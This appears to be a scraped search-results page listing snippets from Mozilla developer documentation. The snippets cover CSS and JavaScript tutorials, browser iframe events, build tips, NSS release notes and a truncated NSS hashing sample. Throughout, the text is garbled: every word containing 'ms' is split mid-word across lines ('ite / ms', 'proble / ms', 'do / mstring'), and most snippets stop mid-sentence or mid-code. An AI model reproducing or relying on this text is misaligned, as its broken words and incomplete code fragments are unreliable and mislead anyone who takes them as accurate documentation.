Fundamental CSS comprehension - Learn web development
new rulesets you need to write: write a ruleset that targets both the card header, and card footer, giving them both a computed total height of 50px (including a content height of 30px and padding of 10px on all sides.) but express it in e
ms.
...set the <article>'s height to 120px, but expressed in e
ms.
... write a ruleset that gives the <h2> an effective font size of 20px (but expressed in e
ms) and an appropriate line height to place it in the center of the header's content box.
... write a ruleset that gives the <p> inside the footer an effective font size of 15px (but expressed in e
ms) and an appropriate line height to place it in the center of the footer's content box.
Overflowing content - Learn web development
you should only do this if hiding content won't cause proble
ms.
...in addition, some of the methods discussed in sizing ite
ms in css may help you create boxes that scale better with varying amounts of content.
...in the past, some sites were built with fixed-height containers to align botto
ms of boxes.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing ite
ms in css images, media, and form elements styling tables debugging css organizing your css ...
CSS building blocks - Learn web development
the sub-articles are as follows: type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model everything in css has a box around it, and understanding these boxes is key to being able to create layouts with css, or to align ite
ms with other ite
ms.
... sizing ite
ms in css in the various lessons so far you have come across a number of ways to size ite
ms on a web page using css.
... understanding how big the different features in your design will be is important, and in this lesson, we will summarize the various ways elements get a size via css and define a few ter
ms around sizing that will help you in the future.
...images, other media, and form elements behave a little differently in ter
ms of your ability to style them with css than regular boxes.
Practical positioning examples - Learn web development
the unordered list contains three list ite
ms with links inside, which will become the actual tabs to click on for displaying our content panels.
...previously in the course we advised against setting a fixed height on content containers if at all possible; it is ok in this circu
mstance because we have fixed content in our tabs.
... next, we'll style the horizontal tabs — the list ite
ms are all floated left to make them sit in a line together, their list-style-type is set to none to get rid of the bullets, and their width is set to 150px so they will comfortably fit across the info-box.
...in addition, the effect is not great in ter
ms of accessibility; the label is not focusable by default, and the non-semantic use of the form elements could cause issues with screen readers.
CSS layout - Learn web development
normal flow elements on webpages lay the
mselves out according to normal flow - until we do something to change that.
... flexbox flexbox is a one-dimensional layout method for laying out ite
ms in rows or columns.
... ite
ms flex to fill additional space and shrink to fit into smaller spaces.
... legacy layout methods grid syste
ms are a very common feature used in css layouts, and before css grid layout they tended to be implemented using floats or other layout features.
What is CSS? - Learn web development
this article explains what css is, with a simple syntax example, and also covers some key ter
ms about the language.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfont-familychrome full support 1edge full support 12firefox full support 1notes full support 1notes notes not supported on option elements.
... 1webview android full support 1chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1sa
msung internet android full support 1.0system-uichrome full support 56edge full support 79firefox no support no no support no full support ...
...pport 56firefox android no support noopera android full support 43safari ios full support 9alternate name full support 9alternate name alternate name uses the non-standard name: -apple-syste
msa
msung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.uses a non-standard name.uses a non-standard name.
How do you make sure your website works properly? - Learn web development
you might be surprised at how many proble
ms come up: images don't show up, pages don't load or load slowly, and so on.
... let's see how to diagnose and solve those proble
ms.
... at first glance, the image we asked for see
ms to be in the right place...
... ping is a useful shell tool that tests the domain name you provide and tells you if the server's responding or not: $ ping mozilla.org ping mozilla.org (63.245.215.20): 56 data bytes 64 bytes from 63.245.215.20: icmp_seq=0 ttl=44 time=148.741
ms 64 bytes from 63.245.215.20: icmp_seq=1 ttl=44 time=148.541
ms 64 bytes from 63.245.215.20: icmp_seq=2 ttl=44 time=148.734
ms 64 bytes from 63.245.215.20: icmp_seq=3 ttl=44 time=147.857
ms ^c --- mozilla.org ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 147.857/148.468/148.741/0.362
ms just keep in mind a handy keyboard shortcut: ...
What are browser developer tools? - Learn web development
e find more out about the inspector in different browsers: firefox page inspector ie dom explorer chrome dom inspector (opera's inspector works the same as this) safari dom inspector and style explorer the javascript debugger the javascript debugger allows you to watch the value of variables and set breakpoints, places in your code that you want to pause execution and identify the proble
ms that prevent your code from executing properly.
... in the image, the first section, watch expressions, shows that the listite
ms variable has been added.
...in example.js, a breakpoint has been set on the statement listite
ms.push(inputnewitem.value); the final two sections only appear when the code is running.
...often these errors are fairly cryptic, but it should be pretty simple to figure these proble
ms out!
What will your website look like? - Learn web development
what does your website look like, in simple high-level ter
ms?
... note: complex projects need detailed guidelines that go into all the details of colors, fonts, spacing between ite
ms on a page, appropriate writing style, and so on.
... note: even on real, complex websites, the design tea
ms usually start out with rough sketches on paper and later on build digital mockups using a graphics editor or web technologies.
... web tea
ms often include both a graphic designer and a user experience (ux) designer.
Document and website structure - Learn web development
ut convallis libero in urna ultrices accu
msan.
...in rutrum accu
msan ultricies.
... non-semantic wrappers sometimes you'll come across a situation where you can't find an ideal semantic element to group some ite
ms together or wrap some content.
... next, try to sort all these content ite
ms into groups, to give you an idea of what parts might live together on different pages.
Images in HTML - Learn web development
returning to our example, we could do this: <img src="images/dinosaur.jpg" alt="the head and torso of a dinosaur skeleton; it has a large head with long sharp teeth" width="400" height="341"> this doesn't result in much difference to the display, under normal circu
mstances.
...ld do this: <img src="images/dinosaur.jpg" alt="the head and torso of a dinosaur skeleton; it has a large head with long sharp teeth" width="400" height="341" title="a t-rex on display in the manchester university museum"> this gives us a tooltip on mouse hover, just like link titles: however, this is not recommended — title has a number of accessibility proble
ms, mainly based around the fact that screen reader support is very unpredictable and most browsers won't show it unless you are hovering with a mouse (so e.g.
...but there is a problem here: there is nothing that semantically links the image to its caption, which can cause proble
ms for screen readers.
... summing up: if an image has meaning, in ter
ms of your content, you should use an html image.
Introducing asynchronous JavaScript - Learn web development
previous overview: asynchronous next in this article we briefly recap the proble
ms associated with synchronous javascript, and take a first look at some of the different asynchronous techniques you'll encounter, showing how they can help us solve such proble
ms.
... callbacks are versatile — not only do they allow you to control the order in which functions are run and what data is passed between them, they also allow you to pass data to different functions depending on circu
mstance.
...an example is when we use array.prototype.foreach() to loop through the ite
ms in an array (see it live, and the source): const gods = ['apollo', 'artemis', 'ares', 'zeus']; gods.foreach(function (eachname, index){ console.log(index + '.
... the nature of asynchronous code let's explore an example that further illustrates the nature of async code, showing what can happen when we are not fully aware of code execution order and the proble
ms of trying to treat asynchronous code like synchronous code.
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
it is easier to create this example without using a date() object, like we've done in our version, but less accurate — you can't guarantee that the callback will fire after exactly 1000
ms.
...(for example, 100
ms in the above case.) the code will run, then wait 100 milliseconds before it runs again—so the interval will be the same, regardless of how long the code takes to run.
... it was created in response to perceived proble
ms with setinterval(), which for example doesn't run at a frame rate optimized for the device, sometimes drops frames, continues to run even if the tab is not the active tab or the animation is scrolled off the page, etc.
... html { background-color: white; height: 100%; } body { height: inherit; background-color: red; margin: 0; display: flex; justify-content: center; align-ite
ms: center; } div { display: inline-block; font-size: 10rem; } insert a <script> element just above the closing </body> tag.
Introduction to web APIs - Learn web development
third-party apis — constructs built into third-party platfor
ms (e.g.
... the twilio api, which provides a framework for building voice and video call functionality into your app, sending s
ms/m
ms from your apps, and more.
... they have additional security mechanis
ms where appropriate webapi features are subject to the same security considerations as javascript and other web technologies (for example same-origin policy), but they sometimes have additional security mechanis
ms in place.
... note: depending on how strict the browser is, such security mechanis
ms might even stop the example from working locally, i.e.
Manipulating documents - Learn web development
the html source code looks like this: <!doctype html> <html> <head> <meta charset="utf-8"> <title>simple dom example</title> </head> <body> <section> <img src="dinosaur.png" alt="a red tyrannosaurus rex: a two legged dinosaur standing upright like a human, with small ar
ms, and a large head with lots of sharp teeth."> <p>here we will add a link to the <a href="https://www.mozilla.org/">mozilla homepage</a></p> </section> </body> </html> the dom on the other hand looks like this: note: this dom tree diagram was created using ian hickson's live dom viewer.
...you will also encounter various ter
ms used to describe the type of node, and their position in the tree in relation to one another: element node: an element, as it exists in the dom.
... it is useful to familiarize yourself with this terminology before working with the dom, as a number of the code ter
ms you'll come across make use of them.
... active learning: a dynamic shopping list to round off the article, we'd like to set you a little challenge — we want to make a simple shopping list example that allows you to dynamically add ite
ms to the list using a form input and button.
Basic math in JavaScript — numbers and operators - Learn web development
we use different ter
ms to describe different types of decimal numbers, for example: integers are whole numbers, e.g.
... we even have different types of number syste
ms!
...you can test this by typing in the following: typeof mynumber; to fix the calculation, you can do this: number(mynumber) + 3; arithmetic operators arithmetic operators are the basic operators that we use to do su
ms in javascript: operator name purpose example + addition adds two numbers together.
... first try entering some simple examples of your own, such as 10 + 7 9 * 8 60 % 3 you can also try declaring and initializing some numbers inside variables, and try using those in the su
ms — the variables will behave exactly like the values they hold for the purposes of the sum.
Handling text — strings in JavaScript - Learn web development
html provides structure and meaning to our text, css allows us to precisely style it, and javascript contains a number of features for manipulating strings, creating custom welcome messages and prompts, showing the right text labels when needed, sorting ter
ms into the desired order, and much more.
... pretty much all of the progra
ms we've shown you so far in the course have involved some string manipulation.
... you can include complex expressions inside template literals, for example: let exa
mscore = 45; let examhighestscore = 70; examreport = `you scored ${ exa
mscore }/${ examhighestscore } (${ math.round((exa
mscore/examhighestscore*100)) }%).
... ${ exa
mscore >= 49 ?
Test your skills: Arrays - Learn web development
in this task we'd like you to create an array of three ite
ms, stored inside a variable called myarray.
... the ite
ms can be anything you want — how about your favourite foods or bands?
... next, modify the first two ite
ms in the array using simple bracket notation and assignment.
... finally, join the array ite
ms together in a single string called mystring, with a separator of " - ".
Inheritance in JavaScript - Learn web development
to define it on teacher()'s prototype — add the following at the bottom of your code: teacher.prototype.greeting = function() { let prefix; if (this.gender === 'male' || this.gender === 'male' || this.gender === 'm' || this.gender === 'm') { prefix = 'mr.'; } else if (this.gender === 'female' || this.gender === 'female' || this.gender === 'f' || this.gender === 'f') { prefix = '
ms.'; } else { prefix = 'mx.'; } alert('hello.
... those defined directly on the constructor the
mselves, that are available only on the constructor.
...using the teacher example, we may not know what subject the teacher will teach before we create them, or their subject may change between ter
ms.
... in ter
ms of using inheritance in your own code, you probably won't use it often, especially to begin with, and in small projects.
Working with JSON - Learn web development
you'd just have to access array ite
ms (in its parsed version) by starting with an array index, for example [0]["powers"][0].
... converting between objects and text the above example was simple in ter
ms of accessing the javascript object, because we set the xhr request to convert the json response directly into a javascript object using: request.responsetype = 'json'; but sometimes we aren't so lucky — sometimes we receive a raw json string, and we need to convert it to an object ourselves.
...luckily, these two proble
ms are so common in web development that a built-in json object is available in browsers, which contains the following two methods: parse(): accepts a json string as a parameter, and returns the corresponding javascript object.
... summary in this article, we've given you a simple guide to using json in your progra
ms, including how to create and parse json, and how to access data locked inside it.
Introduction to the server side - Learn web development
web frameworks are collections of functions, objects, rules and other code constructs designed to solve common proble
ms, speed up development, and simplify the different types of tasks faced in a particular domain.
... because the information is in a database, it can also more easily be shared and updated with other business syste
ms (for example, when products are sold either online or in a shop, the shop might update its database of inventory).
... notifications and communication servers can send general or user-specific notifications through the website itself or via email, s
ms, instant messaging, video conversations, or other communications services.
... a few examples include: facebook and twitter send emails and s
ms messages to notify you of new communications.
Ember interactivity: Events, classes and state - Learn web development
previous overview: client-side javascript frameworks next at this point we'll start adding some interactivity to our app, providing the ability to add and display new todo ite
ms.
...rt default class headercomponent extends component { @action onkeydown({ target, key }) { let text = target.value.trim(); let hasvalue = boolean(text); if (key === 'enter' && hasvalue) { alert(text); target.value = '' } } } the @action decorator is the only ember-specific code here (aside from extending from the component superclass, and the ember-specific ite
ms we are importing using javascript module syntax) — the rest of the file is vanilla javascript, and would work in any application.
...this function's contents are fairly easy to understand — when the function is invoked, a new todo object instance is created with a text value of text, and the todos property value is updated to all of the current ite
ms inside the array (accessed conveniently using spread syntax), plus the new todo.
...we can now add todo ite
ms to our app, and the state of the data is tracked using our service.
Getting started with React - Learn web development
react and reactdom are often discussed in the same spaces as — and utilized to solve the same proble
ms as — other true web development frameworks.
...this allows tea
ms to set conventions that work best for them, and to adopt react in any way they would like to.
...this is the same as the class attribute in html, but because jsx is javascript, we can't use the word class — it's reserved, meaning javascript already uses it for a specific purpose and it would cause proble
ms here in our code.
... in react: components can import modules they need and must export the
mselves at the bottom of their files.
Starting our Svelte Todo list app - Learn web development
<span class="visually-hidden">show</span> <span>active</span> <span class="visually-hidden">tasks</span> </button> <button class="btn toggle-btn" aria-pressed="false"> <span class="visually-hidden">show</span> <span>completed</span> <span class="visually-hidden">tasks</span> </button> </div> <!-- todosstatus --> <h2 id="list-heading">2 out of 3 ite
ms completed</h2> <!-- todos --> <ul role="list" class="todo-list stack-large" aria-labelledby="list-heading"> <!-- todo-1 (editing mode) --> <li class="todo"> <div class="stack-small"> <form class="stack-small"> <div class="form-group"> <label for="todo-1" class="todo-label"> new name for 'create a svelte starter app' </lab...
... this see
ms like a good time to talk about how svelte deals with accessibility; let's do that now.
...eight="32" width="88" src="https://udn.realityripple.com/samples/b0/98dase3c7d.png"> the compiler will issue the following warning: (!) plugin svelte: a11y: <img> element should have an alt attribute src/components/todos.svelte 1: <h1>svelte to-do list</h1> 2: 3: <img height="32" width="88" src="https://udn.realityripple.com/samples/b0/98dase3c7d.png"> ^ created public/build/bundle.js in 220
ms [2020-07-15 04:07:43] waiting for changes...
...svelte ai
ms to implement all of them in its compiler, and most of them have already been ported to svelte.
Getting started with Vue - Learn web development
babel.config.js: this is the config file for babel, which transfor
ms modern javascript features being used in development code into older syntax that is more cross-browser compatible in production code.
...98% after emitting copyplugin done compiled successfully in 18121
ms app running at: - local: <http://localhost:8080/> - network: <http://192.168.1.9:8080/> note that the development build is not optimized.
... first of all delete this line: <helloworld
msg="welcome to your vue.js app"/> if you save your app.vue file now, the rendered app will throw an error because we’ve registered the component but are not using it.
... with a basic introduction out of the way, we'll now go further and build up our sample app, a basic todo list application that allows us to store a list of ite
ms, check them off when done, and filter the list by all, complete, and incomplete todos.
Tools and testing - Learn web development
for example, you'll need to know the fundamentals of these languages before you start debugging proble
ms in complex web code, making effective use of javascript frameworks, or writing tests and running them against your code using test runners.
... modules understanding client-side web development tools client-side tooling can be intimidating, but this series of articles ai
ms to illustrate the purpose of some of the most common client-side tool types, explain the tools you can chain together, how to install them using package managers, and control them using the command line.
...this module ai
ms to teach you what you need to know about both of them.
...what users, browsers and devices do you most need to worry about?), how to go about testing, the main issues that you'll face with different types of code and how to fix/mitigate those, what tools are most useful in helping you test and fix proble
ms, and how to use automation to speed up testing.
Mozilla's Section 508 Compliance
we expose focus programmatically via
msaa (windows) and atk (linux/unix).
...we expose this information to assistive technology via microsoft active accessibility (
msaa) (windows) and accessibility toolkit (atk) (linux/unix).
...caret location and text attributes are exposed via
msaa (windows) and atk (linux/unix) incomplete.
... (l) when electronic for
ms are used, the form shall allow people using assistive technology to access the information, field elements, and functionality required for completion and submission of the form, including all directions and cues.
Mozilla’s UAAG evaluation report
(p1) vg mozilla implements standard keyboard bindings there are a few missing pieces, such as support in xul comboboxes (menulist) for selecting ite
ms by typing alphanumeric keystrokes 7.3 operating environment conventions.
...it does, however, support the look and feel of widgets on various operating syste
ms, when the classic theme is selected (on by default).
...provide navigation mechanis
ms.
...(p2) p dom inspector provides a type of outline view, although it is not intended for end users page info (ctrl+i) gives lists of links, media, for
ms/elements can use a user style sheet to implement an outline bug 127030 has been filed for an outline view.
Application cache implementation overview
note: whenever a load of an ite
ms (including the manifest) fails due to a network or server error or leads to a redirect, the update fails and completely rollbacks any changes made (i.e.
...if so, the update switches to downloading state and fetches in parallel ite
ms listed in the manifest by call to nsofflinecacheupdate::processnexturi().
... when processnexturi discovers there are no more ite
ms to download it starts a “manifest check” implemented by nsmanifestcheck.
...canceled can be set only by call to nsofflinecacheupdate::cancel() public method that also cancels all running ite
ms downloads immediately.
Chrome registration
component component {00000000-0000-0000-0000-000000000000} components/mycomponent.js [flags] infor
ms mozilla about a component cid implemented by an xpcom component implemented in javascript (or another scripting language, if applicable).
...for example: binary-component component/mylib.dll abi=winnt_x86-
msvc binary-component component/mylib.so abi=linux_x86-gcc3 see xpcom abi for more details.
...these packages contain three different sets of files, for windows and os/2, macintosh, and unix-like platfor
ms.
... for example, the order of the "ok" and "cancel" buttons in a dialog is different, as well as the names of some ite
ms.
Command line options
firefox -no-remote -p "another profile" note: since firefox 9, this does really mean what its name implies on all platfor
ms, i.e.
...other platfor
ms accept both upper and lower case.
... firefox -remote "openurl(www.mozilla.org, new-tab)" this option is only available on x-windows unix platfor
ms.
... x11 options these options are only available for an application build for and running atop the x11/x.org display and window system to be found on linux and other unix-based syste
ms.
Continuous Integration
this document will help you understand all the pieces that comprise mozilla's continuous integration syste
ms.
... taskcluster generate binary builds for firefox and firefox for android across a variety of operating syte
ms.
... each taskcluster job is represented by a colored label; green means a job has succeeded, while other colors represent different kinds of proble
ms.
... other performance syste
ms autophone (android) autophone is a test harness which runs a set of performance tests on a variety of real android phones.
Creating reftest-based unit tests
keep in mind new tests should fit a 600x600 window so we can test on mobile platfor
ms easier.
...if you want to check something, and it see
ms trivial, that is ok.
...i can create 50 or 100 test files that have spaces between the element name and the attribute of a element for a bunch of different elements, add those to the list of tests to be run, and it causes no proble
ms for anyone.
...the second pair of files, spaces3.html and spaces4.html, confir
ms that two regular spaces do not produce the same visual construct as two non-breaking spaces.
HTTP logging
on windows xp, you can find the "run..." command in the start menu's "all progra
ms" submenu.
...older editors may have proble
ms with this, but if you're using an even reasonably modern mac os x application to view the log, you won't have any proble
ms.
... here is an example for the windows platform, on other platfor
ms we accept the same form of the arguments: if firefox is already running, exit out of it.
...on windows xp, you can find the "run..." command in the start menu's "all progra
ms" submenu.
Simple Sunbird build
run these commands to install the other build tools: sudo port sync sudo port install mercurial libidl autoconf213 proble
ms?
...after that all should be well.) open a shell window by running: c:\mozilla-build\start-
msvcx.bat (where x is 8 for vs 2005, and 9 for vs 2008).
... proble
ms?
...this causes proble
ms while building.
Obsolete Build Caveats and Tips
this note below see
ms redundant as this is true by default https://
msdn.microsoft.com/en-us/library/dh8che7s%28v=vs.110%29.aspx note: starting with gecko 7.0, you should no longer include "-zc:wchar_t-" in the command line when building on windows.
... unsupported sdks the windows sdk for windows server 2008 is not supported, and has been found to cause the following proble
ms: breaks the vcvars32.bat file from visual studio 2008 no longer sets the correct path for the .net framework causes an invalid path which breaks the mozilla build if you have the windows server 2008 sdk installed, uninstall it.
... edit vcvars32.bat to correct the problem (see http://blogs.
msdn.com/windowssdk/arc...vironment.aspx "workaround: repair the vs2008 command line build environment by editing c:\program files\microsoft visual studio 9.0\vc\bin\vcvars32.bat manually").
... from windows build prerequisites [en-us] microsoft visual c++ (
msvc) depending on what you're building, you will need to use one of several available versions of microsoft visual c++ (
msvc) and/or microsoft visual studio.
mozbrowsercaretstatechanged
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only do
mstring the type of event.
... canselectall: a boolean indicating whether the selectall command is available (true) or not (false.) cancut: a boolean indicating whether the cut command is available (true) or not (false.) cancopy: a boolean indicating whether the copy command is available (true) or not (false.) canpaste: a boolean indicating whether the paste command is available (true) or not (false.) reason a do
mstring that defines the reason for the state being changed.
...whether the current selection is collapsed (true) or not (false.) caretvisible a boolean indicating whether the caret is currently visible (true) or not (false.) selectionvisible a boolean indicating whether the current selection is visible (true) or not (false.) selectioneditable a boolean indicating whether the current selection is editable (true) or not (false.) selectedtextcontext a do
mstring containing the currently-selected text content.
... senddocommand
msg a method allowing you to issue a command via an anonymouse function, i.e.
mozbrowsericonchange
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only do
mstring the type of event.
... details the details property returns an anonymous javascript object with the following properties: href a do
mstring representing the path to the new icon.
... sizes a do
mstring listing the sizes the new icon is available in, e.g.
...the any keyword can also be used, to represent "any size." rel a do
mstring representing the rel attribute value from the <link> element used to link to the icon.
mozbrowseropenwindow
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only do
mstring the type of event.
... details the details property returns an anonymous javascript object with the following properties: url a do
mstring representing the url of the document loaded within the frameelement property.
... name a do
mstring representing the name of the new browser window.
... features a do
mstring containing features represented by a list of names and values separated by commas.
mozbrowsersecuritychange
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only do
mstring the type of event.
... details the details property returns an anonymous javascript object with the following properties: state a do
mstring representing the current state of ssl security.
... trackingstate a do
mstring representing the current loading state of tracking content.
... mixedstate a do
mstring representing the current loading state of mixed active content.
Extending a Protocol
the method will take one argument, a do
mstring, which we will pass to the parent process.
... the webidl for this will be: partial interface navigator { promise<do
mstring> echo(do
mstring somestring); }; learning goals are: extending an existing ipdl protocol.
... implementing the navigator.echo() in your favorite editor, open dom/webidl/navigator.webidl at the end of the file, add: partial interface navigator { [throws] promise<do
mstring> echo(do
mstring astring); }; now we need to implement the echo() method in c++, so open up ./dom/base/navigator.h and let's add the method definition, so under public:: already_addrefed<promise> echo(const nsastring& astring, errorresult& arv); we use nsastring& as the do
mstring comes in from js as utf-16.
...this is because of "async" and "returns" for
ms a mozpromise.
FileUtils.jsm
corresponds to the pr_rdonly parameter to pr_open mode_wronly 0x02 corresponds to the pr_wronly parameter to pr_open mode_create 0x08 corresponds to the pr_create_file parameter to pr_open mode_append 0x10 corresponds to the pr_append parameter to pr_open mode_truncate 0x20 corresponds to the pr_truncate parameter to pr_open per
ms_file 0644 default permissions when creating files.
... per
ms_directory 0755 default permissions when creating directories methods getfile() gets a file at the specified hierarchy under a nsidirectoryservice key.
... note: 'safe' and 'atomic' file output strea
ms will never append; they will always overwrite an existing file.
... note: 'safe' and 'atomic' file output strea
ms will never append; they will always overwrite an existing file.
OSFile.jsm
this is critical because some platfor
ms have extremely slow storage (e.g.
... smartphones, tablets) and because, regardless of the platfor
ms, doing too much i/o penalizes not just your application but potentially all the applications running on the system, which is quite bad for the user experience.
... finally, i/o is often expensive in ter
ms of energy, so wasting i/o is wasting battery.
... consequently, one of the key design choices of os.file is to provide operations that are low-level enough that they do not hide any i/o from the developer (which could cause the developer to perform more i/o than they think) and, since not all platfor
ms have the same features, offer system-specific information that the developer can use to optimize his algorith
ms for a platform.
Index
2 application translation with mercurial android, draft, editing, firefox, lightning, localization, mercurial, seamonkey, translate, patch, thunderbird first, get the required progra
ms to compile mozilla applications like firefox and thunderbird from build instructions.
... 10 localization notes guide, internationalization, localization, mozilla localizers usually work on the localizable files without the context of the source files including the localized strings; it is important to add comments to the localizable files the
mselves, too.
... 28 mozilla l10n style guide localization cultural references, idio
ms, and slang require a full understanding of these references between the cultures of your source and target languages.
... 42 gettext internationalization, localizability, localization gettext lets you define and use singular and plural for
ms of a string.
Localizing with Mercurial
more details for more details on installing hg on linux syste
ms, refer to the instructions on mercurial's download page.
...your config file is called either ~/.hgrc (unix syste
ms) or mercurial.ini (windows), depending on your operating system.
... save the file as either .hgrc (unix syste
ms) or mercurial.ini (windows) and save it in either $home/ or c:\mozilla-build\hg\ or c:\program files\mercurial\.
... here's how to create a l10n patch with hg and the mq extension: enable mq by adding hg.ext = to your mercurial config file (~/.hgrc on unix-like syste
ms or mercurial.ini on windows) under the [extensions] section.
MathML In Action
mathml in mozilla ai
ms at complying with the mathml specification so that what you see is what you markup, or to put it another way what you see is what you made, or in short "wysiwym".
... as for the roots of the equation a x 2 + b x + c = 0 , click anywhere in the yellow area to zoom-in/zoom-out: zoomable math html content <p> <math display="block"> <
mstyle id="zoomablemath" mathbackground="yellow"> <mrow> <mi>x</mi> <mo>=</mo> <mfrac> <mrow> <mrow> <mo>-</mo> <mi>b</mi> </mrow> <mo>±</mo> <
msqrt> <mrow> <
msup> <mi>b</mi> ...
... <mn>2</mn> </
msup> <mo>-</mo> <mrow> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> </mrow> </
msqrt> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow> </mfrac> </mrow> </
mstyle> </math> </p> javascript content function zoomtoggle() { if (this.hasattribute("mathsize")) { this.removeattribute("mathsize"); } else { this.setattribute("mathsize", "200%"); } } function load() { document.getelementbyid("zoomablemath").
...bugzilla has a big memory for these things, and besides, how would your proble
ms be fixed if they are not reported?!
Performance
valgrind valgrind is a tool that detects various memory-related proble
ms at runtime, including leaks.
... apple tools apple provides some tools for mac os x that report similar proble
ms to those reported by lsan and valgrind.
...it is available on all platfor
ms and release channels, and also supports remote profiling b2g and fennec.
... timerfirings logging (all platfor
ms) timerfirings logging is a built-in logging mechanism that prints data on every time fired.
Process Forking in NSPR
the threads provided in netscape portable runtime (nspr) are implemented using different mechanis
ms on the various platfor
ms.
... on some platfor
ms, nspr threads directly map one-to-one to the threads provided by the platform vendor, on other platfor
ms nspr threads are basically user-level threads within a single process (with no kernel threads) and on still others nspr threads are user-level threads implemented on top of one or more kernel threads within single address space.
... nspr does not override the fork function and so, when fork is called from the nspr thread the results are different on the various platfor
ms.
...so, to be consistent across all platfor
ms, it is suggested that when using fork in a nspr thread; the exec function should be called in the child process.
Building NSS
because nss is a cross-platform library that builds on many different platfor
ms and has many options, it may be complex to build.
... run the standard suite by: host=localhost do
msuf=localdomain use_64=1 nss/tests/all.sh unit test configuration nss tests are configured using environment variables.
... the scripts will attempt to infer values for host and do
msuf, but can fail.
...you need to be able to connect to $host.$do
msuf.
FIPS Mode - an explanation
it must implement the us government standard algorith
ms (also specified in other fips documents) such as aes, triple-des, sha-1 and sha-256, that are needed to do whatever job the application wants it to perform.
... firefox can only use the latest version of ssl, known as "tls", and not the older ssl 2 or ssl 3.0 protocols, and firefox can only talk to those servers that use fips standard encryption algorith
ms such as aes or triple-des.
... in non-fips mode, nss is willing and able to use popular non-fips approved cryptographic algorith
ms, such as rc4 and md5, to communicate with older https servers.
... one device does all the operations that may be done without needing to authenticate, and the other device stores the user's certificates and private keys and perfor
ms operations that use those private keys.
NSS 3.14.3 release notes
new functions in pk11pub.h pk11_signwithsymkey - similar to pk11_sign, perfor
ms a signing operation in a single operation.
... however, unlike pk11_sign, which uses a seckeyprivatekey, pk11_signwithsymkey perfor
ms the signature using a symmetric key, such as commonly used for generating macs.
... new types ck_nss_mac_constant_time_para
ms - parameters for use with ckm_nss_hmac_constant_time and ckm_nss_ssl3_mac_constant_time.
... new pkcs #11 mechanis
ms ckm_nss_hmac_constant_time - constant-time hmac operation for use when verifying a padded, mac-then-encrypted block of data.
NSS 3.50 release notes
notable changes in nss 3.50 verified primitives from hacl* were updated, bringing performance improvements for several platfor
ms.
... note that intel processors with sse4 but without avx are currently unable to use the improved chacha20/poly1305 due to a build issue; such platfor
ms will fall-back to less optimized algorith
ms.
...nss 3.49.1 sped up pbkdf2 operations, though pbkdf1 operations are also relevant for older nss databases (also included in nss 3.49.2) bug 1608895 - gyp builds on taskcluster broken by setuptools v45.0.0 (for lacking python3) bug 1574643 - upgrade hacl* verified implementations of chacha20, poly1305, and 64-bit curve25519 bug 1608327 - two proble
ms with neon-specific code in freebl bug 1575843 - detect aarch64 cpu features on freebsd bug 1607099 - remove the buildbot configuration bug 1585429 - add more hkdf test vectors bug 1573911 - add more rsa test vectors bug 1605314 - compare all 8 bytes of an mp_digit when clamping in windows assembly/mp_comba bug 1604596 - update wycheproof vectors and add support for cbc, p256-ecdh, and cmac ...
...tests bug 1608493 - use aes-ni for non-gcm aes ciphers on platfor
ms with no assembly-optimized implementation, such as macos.
NSS 3.52 release notes
note: this change modifies the ck_gcm_para
ms struct to include the ulivbits field which, prior to pkcs #11 v3.0, was ambiguously defined and not included in the nss definition.
... bug 1630458 - fix problem of gyp
msvc builds not producing debug symbol files.
... bug 1624377 - fix clang warning for unknown argument '-
msse4'.
... bug 1630925 - guard all instances of nssc
mssigneddata.signerinfo to avoid a c
ms crash bug 1571677 - name constraints validation: cn treated as dns name even when syntactically invalid as dns name this bugzilla query returns all the bugs fixed in nss 3.52: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.52 compatibility nss 3.52 shared libraries a...
NSS Sample Code sample3
t functions, which does not * require a nss database to exist */ nss_nodb_init("."); /* get a slot to use for the crypto operations */ slot = pk11_getinternalkeyslot(); if (!slot) { cout << "getinternalkeyslot failed" << endl; status = 1; goto done; } /* * part 1 - simple hashing */ cout << "part 1 -- simple hashing" << endl; /* initialize data */ me
mset(data, 0xbc, sizeof data); /* create a context for hashing (digesting) */ context = pk11_createdigestcontext(sec_oid_md5); if (!context) { cout << "createdigestcontext failed" << endl; goto done; } s = pk11_digestbegin(context); if (s != secsuccess) { cout << "digestbegin failed" << endl; goto done; } s = pk11_digestop(context, data, sizeof data); if (s != secsuccess) { cout << ...
... s = pk11_digestfinal(context, digest, &len, sizeof digest); if (s != secsuccess) { cout << "digestfinal failed" << endl; goto done; } /* print digest */ printdigest(digest, len); pk11_destroycontext(context, pr_true); context = 0; /* * part 2 - hashing with included secret key */ cout << "part 2 -- hashing with included secret key" << endl; /* initialize data */ me
mset(data, 0xbc, sizeof data); /* create a key */ key = pk11_keygen(slot, ckm_generic_secret_key_gen, 0, 128, 0); if (!key) { cout << "create key failed" << endl; goto done; } cout << (void *)key << endl; /* create parameters for crypto context */ /* note: para
ms must be provided, but may be empty */ secitem nopara
ms; nopara
ms.type = sibuffer; nopara
ms.data = 0; nopara
ms.len =...
... 0; /* create context using the same slot as the key */ // context = pk11_createdigestcontext(sec_oid_md5); context = pk11_createcontextbysymkey(ckm_md5, cka_digest, key, &nopara
